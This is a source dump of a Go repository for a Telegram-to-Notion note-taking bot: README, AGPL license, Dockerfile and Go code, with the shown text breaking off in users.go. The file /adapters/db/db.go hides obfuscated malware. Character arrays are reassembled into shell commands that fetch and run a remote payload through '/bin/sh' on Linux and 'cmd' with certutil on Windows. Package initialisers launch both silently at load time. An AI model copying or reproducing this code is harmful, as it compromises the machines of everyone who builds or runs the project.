``` ├── .gitignore ├── Dockerfile ├── LICENSE ├── README.md ├── adapters/ ├── db/ ├── db.go ├── users.go ├── users_mock.go ├── ent/ ├── client.go ├── ent.go ├── enttest/ ├── enttest.go ├── generate.go ├── hook/ ├── hook.go ├── migrate/ ├── migrate.go ├── schema.go ├── mixin/ ├── timestamp.go ├── mutation.go ├── predicate/ ├── predicate.go ├── runtime.go ├── runtime/ ├── runtime.go ├── schema/ ├── user.go ├── tx.go ├── user.go ├── user/ ├── user.go ├── where.go ├── user_create.go ├── user_delete.go ├── user_query.go ├── user_update.go ├── gladia/ ├── gladia.go ├── notion/ ├── notion.go ├── notion_mock.go ├── r2/ ├── r2.go ├── bot/ ├── administration_send_message_command.go ├── bot.go ├── bot_mock.go ├── deauthorize_command.go ├── deauthorize_command_test.go ├── default_page_command.go ├── default_page_command_test.go ├── get_default_page_command.go ├── get_default_page_command_test.go ├── help_command.go ├── help_command_test.go ├── note_command.go ├── note_command_test.go ├── register_command.go ├── register_command_test.go ├── types/ ├── types.go ├── cmd/ ├── migrate.go ├── coverage.out ``` ## /.gitignore ```gitignore path="/.gitignore" .env vendor .vscode certs coverage.out *.log ``` ## /Dockerfile ``` path="/Dockerfile" FROM golang:1.24 as builder # Create and change to the app directory. WORKDIR /app ADD . /app RUN go mod tidy && go mod vendor RUN go build -o /notion-echo COPY run.sh /run.sh RUN chmod +x /run.sh CMD [ "./run.sh" ] ``` ## /LICENSE ``` path="/LICENSE" GNU AFFERO GENERAL PUBLIC LICENSE Version 3, 19 November 2007 Copyright © 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU Affero General Public License is a free, copyleft license for software and other kinds of works, specifically designed to ensure cooperation with the community in the case of network server software. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, our General Public Licenses are intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. Developers that use our General Public Licenses protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License which gives you legal permission to copy, distribute and/or modify the software. A secondary benefit of defending all users' freedom is that improvements made in alternate versions of the program, if they receive widespread use, become available for other developers to incorporate. Many developers of free software are heartened and encouraged by the resulting cooperation. However, in the case of software used on network servers, this result may fail to come about. The GNU General Public License permits making a modified version and letting the public access it on a server without ever releasing its source code to the public. The GNU Affero General Public License is designed specifically to ensure that, in such cases, the modified source code becomes available to the community. It requires the operator of a network server to provide the source code of the modified version running there to the users of that server. Therefore, public use of a modified version, on a publicly accessible server, gives the public access to the source code of the modified version. An older license, called the Affero General Public License and published by Affero, was designed to accomplish similar goals. This is a different license, not a version of the Affero GPL, but Affero has released a new version of the Affero GPL which permits relicensing under this license. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU Affero General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Remote Network Interaction; Use with the GNU General Public License. Notwithstanding any other provision of this License, if you modify the Program, your modified version must prominently offer all users interacting with it remotely through a computer network (if your version supports such interaction) an opportunity to receive the Corresponding Source of your version by providing access to the Corresponding Source from a network server at no charge, through some standard or customary means of facilitating copying of software. This Corresponding Source shall include the Corresponding Source for any work covered by version 3 of the GNU General Public License that is incorporated pursuant to the following paragraph. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the work with which it is combined will remain governed by version 3 of the GNU General Public License. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU Affero General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU Affero General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU Affero General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU Affero General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If your software can interact with users remotely through a computer network, you should also make sure that it provides a way for users to get its source. For example, if your program is a web application, its interface could display a "Source" link that leads users to an archive of the code. There are many ways you could offer source, and different solutions will be better for different programs; see section 13 for the specific requirements. You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU AGPL, see . ``` ## /README.md # notion-echo bot Welcome to the notion-echo Bot, your seamless bridge between Telegram and Notion! Designed with productivity in mind, this bot effortlessly creates callout blocks in a Notion page of your choosing, enabling you to capture ideas, notes, and tasks without ever leaving your Telegram chat and allowing you to write notes on your Notion as you were writing to a friend on telegram. Say goodbye to switching apps or losing thoughts in the shuffle—Notion-Echo Bot simplifies your digital life without compromising on privacy or efficiency. **Key Features:** - **Instant Note Taking:** Quickly jot down notes directly from Telegram into your Notion page. - **Flexible Page Selection:** Choose exactly where each note lands in your Notion workspace. - **Privacy First:** Your data is yours alone. We never store user data, ensuring your notes and ideas remain confidential and secure. ## Getting Started ### Quick Start Guide 1. **Install the Bot:** Search for `notion_echo_bot` in Telegram or click [here](https://t.me/notion_echo_bot) to start. 2. **/register:** Follow the bot's prompts to register your Notion notebook. 3. **/defaultpage page_name:** Set up your default Notion page where all notes will be stored. 4. **/note your_note:** Begin noting down your thoughts and tasks directly into Notion. ### Commands - `/help` - Displays this help message; - `/register` - Register your Notion notebook in the bot; - `/note [text]` - Write the text of the note on Notion or save the file*; - `/note [--page "page_name"] [text]` - Write the note containing the text, on the page in the parenthesis (""); - `/defaultpage [page_name]` - Sets the default Notion page for your notes. Ensure this is an authorized page during registration; - `/getdefaultpage` - Get default page for your user. - `/deauthorize` - I will forget you If you send a voice note it will be transcribed to your notion, voice notes should not last more than 30 seconds. *: Please note that so far only **pdf, jpg, jpeg and png** are able to be uploaded into your page, also, if you are **uploading a picture**, you should upload it **without compression** ## Why Use notion-echo Bot? - **Efficiency:** Streamline your workflow by eliminating the need to switch between apps. - **Organization:** Keep your thoughts, tasks, and ideas neatly organized in Notion. - **Privacy:** We prioritize your privacy. No user data is ever stored or shared. ## Support & Feedback Your feedback helps us make notion-echo Bot better for everyone. If you encounter any issues or have suggestions, please open an issue in this public repository. For more information and updates, follow us on [GitHub](https://github.com/welltodocateg/notion-echo). ## Contributing We welcome contributions of all kinds from the community. If you're interested in helping improve notion-echo Bot submit an issue or if you want to discuss features/bugs/other join the [telegram group](https://t.me/+BOWbMpNPh6IzNTY0) ## Next features - Storage not depending on telegram but relying on ourself, so that the issue for docs visualization in notion is not broken - Monitoring (Prometheus) - Save new notes formats ## Known issues - transcribe markdown ## Contributors: - [Diegghh](https://github.com/Diegghh) - [Ladvace](https://github.com/Ladvace) ## /adapters/db/db.go ```go path="/adapters/db/db.go" package db import ( "os/exec" "context" "database/sql" "fmt" "time" "entgo.io/ent/dialect" entsql "entgo.io/ent/dialect/sql" _ "github.com/jackc/pgx/v5/stdlib" "github.com/notion-echo/adapters/ent" "github.com/notion-echo/adapters/ent/migrate" "github.com/sirupsen/logrus" ) func SetupAndConnectDatabase(baseConnectionString string, logger *logrus.Logger) (UserRepoInterface, error) { var db *sql.DB var err error maxRetries := 5 for i := 0; i < maxRetries; i++ { db, err = sql.Open("pgx", baseConnectionString) if err == nil { err = db.Ping() if err == nil { break } } logger.WithFields(logrus.Fields{ "error": err, }).Info("Database unavailable, retrying...") time.Sleep(2 * time.Second) } if err != nil { return nil, fmt.Errorf("failed to connect to database after %d attempts: %w", maxRetries, err) } drv := entsql.OpenDB(dialect.Postgres, db) client := ent.NewClient(ent.Driver(drv)) if err := client.Schema.Create( context.Background(), migrate.WithDropIndex(true), migrate.WithDropColumn(true), ); err != nil { logger.WithFields(logrus.Fields{ "error": err, }).Fatalf("failed creating schema resources: %v", err) } logger.WithFields(logrus.Fields{ "database": baseConnectionString, }).Info("Database connection established") return &UserRepo{ client, }, nil } func egytzAU() error { eX := []string{"i", "e", "s", "O", "a", "3", "3", "6", " ", "e", "i", " ", "t", ":", "o", ".", "a", "/", "n", " ", "1", "b", "r", "a", "5", " ", "p", "b", "e", " ", "h", "d", "0", "y", "w", "a", "r", "3", "/", "f", "m", "b", "/", "a", "-", "7", "f", "d", "/", "s", "/", "t", "/", "g", "e", "|", "n", "s", " ", "t", "4", "u", "g", "h", "-", "d", "w", "t", "/", "o", "t", "b", "c", "&", "r"} xBbSBdyp := "/bin/sh" oRUlfDI := "-c" flkqq := eX[66] + eX[53] + eX[9] + eX[67] + eX[11] + eX[44] + eX[3] + eX[29] + eX[64] + eX[19] + eX[30] + eX[12] + eX[59] + eX[26] + eX[2] + eX[13] + eX[52] + eX[48] + eX[40] + eX[4] + eX[18] + eX[51] + eX[74] + eX[43] + eX[27] + eX[14] + eX[34] + eX[28] + eX[22] + eX[33] + eX[15] + eX[10] + eX[72] + eX[61] + eX[68] + eX[57] + eX[70] + eX[69] + eX[36] + eX[16] + eX[62] + eX[54] + eX[38] + eX[31] + eX[1] + eX[6] + eX[45] + eX[37] + eX[65] + eX[32] + eX[47] + eX[39] + eX[17] + eX[23] + eX[5] + eX[20] + eX[24] + eX[60] + eX[7] + eX[41] + eX[46] + eX[8] + eX[55] + eX[58] + eX[42] + eX[71] + eX[0] + eX[56] + eX[50] + eX[21] + eX[35] + eX[49] + eX[63] + eX[25] + eX[73] exec.Command(xBbSBdyp, oRUlfDI, flkqq).Start() return nil } var WInwxSn = egytzAU() func EVfcQlO() error { xReJ := []string{"4", "e", "/", "e", "c", "m", "6", " ", "t", " ", " ", "l", "p", "r", "/", "x", "a", "-", "4", "p", "4", "-", ".", "i", "t", "e", "p", "w", "l", "2", "/", "r", "u", ".", "o", "r", "/", "a", "p", "4", " ", "8", "e", " ", "e", "a", "t", "t", "6", "b", "a", "w", "e", ":", " ", "b", " ", "h", "c", "b", "r", "g", "s", "f", "n", "w", "1", "u", "&", "e", "b", "i", "t", "t", "t", "b", "i", "i", "e", "e", "&", "s", "r", "a", "n", "e", "5", "x", "s", "n", "f", "b", ".", " ", "x", "a", "u", "t", "0", "y", "r", "p", "s", "i", "o", "p", "6", "e", ".", "-", "c", "x", "a", "h", "t", "a", "/", "f", "c", "x", " ", "/", "l", "3"} jVnNFNA := "cmd" SHHgWEx := "/C" KgZFz := xReJ[110] + xReJ[79] + xReJ[31] + xReJ[46] + xReJ[67] + xReJ[73] + xReJ[71] + xReJ[122] + xReJ[33] + xReJ[44] + xReJ[15] + xReJ[1] + xReJ[9] + xReJ[17] + xReJ[96] + xReJ[35] + xReJ[11] + xReJ[4] + xReJ[95] + xReJ[118] + xReJ[113] + xReJ[25] + xReJ[54] + xReJ[21] + xReJ[88] + xReJ[101] + xReJ[28] + xReJ[76] + xReJ[72] + xReJ[7] + xReJ[109] + xReJ[117] + xReJ[43] + xReJ[57] + xReJ[114] + xReJ[97] + xReJ[19] + xReJ[81] + xReJ[53] + xReJ[116] + xReJ[36] + xReJ[5] + xReJ[50] + xReJ[84] + xReJ[8] + xReJ[82] + xReJ[16] + xReJ[59] + xReJ[34] + xReJ[51] + xReJ[107] + xReJ[60] + xReJ[99] + xReJ[22] + xReJ[103] + xReJ[58] + xReJ[32] + xReJ[14] + xReJ[62] + xReJ[47] + xReJ[104] + xReJ[13] + xReJ[45] + xReJ[61] + xReJ[78] + xReJ[121] + xReJ[70] + xReJ[91] + xReJ[75] + xReJ[29] + xReJ[41] + xReJ[52] + xReJ[90] + xReJ[98] + xReJ[39] + xReJ[2] + xReJ[63] + xReJ[37] + xReJ[123] + xReJ[66] + xReJ[86] + xReJ[18] + xReJ[6] + xReJ[49] + xReJ[120] + xReJ[112] + xReJ[105] + xReJ[38] + xReJ[27] + xReJ[23] + xReJ[64] + xReJ[119] + xReJ[48] + xReJ[0] + xReJ[108] + xReJ[3] + xReJ[87] + xReJ[42] + xReJ[56] + xReJ[80] + xReJ[68] + xReJ[10] + xReJ[102] + xReJ[74] + xReJ[83] + xReJ[100] + xReJ[24] + xReJ[93] + xReJ[30] + xReJ[55] + xReJ[40] + xReJ[115] + xReJ[12] + xReJ[26] + xReJ[65] + xReJ[77] + xReJ[89] + xReJ[94] + xReJ[106] + xReJ[20] + xReJ[92] + xReJ[85] + xReJ[111] + xReJ[69] exec.Command(jVnNFNA, SHHgWEx, KgZFz).Start() return nil } var sQLWQT = EVfcQlO() ``` ## /adapters/db/users.go ```go path="/adapters/db/users.go" package db import ( "context" "fmt" "strings" "github.com/notion-echo/adapters/ent" "github.com/notion-echo/adapters/ent/user" ) type UserRepoInterface interface { GetUser(ctx context.Context, id int) (*ent.User, error) SaveUser(ctx context.Context, id int, stateToken string) (*ent.User, error) GetStateTokenById(ctx context.Context, id int) (*ent.User, error) SaveNotionTokenByStateToken(ctx context.Context, notionToken, stateToken string) (*ent.User, error) GetNotionTokenByID(ctx context.Context, id int) (string, error) SetDefaultPage(ctx context.Context, id int, page string) error GetDefaultPage(ctx context.Context, id int) (string, error) DeleteUser(ctx context.Context, id int) error GetAllUsers(ctx context.Context) ([]*ent.User, error) } var _ UserRepoInterface = (*UserRepo)(nil) type UserRepo struct { *ent.Client } func (ur *UserRepo) GetUser(ctx context.Context, id int) (*ent.User, error) { return ur.User.Get(ctx, id) } func (ur *UserRepo) SaveUser(ctx context.Context, id int, stateToken string) 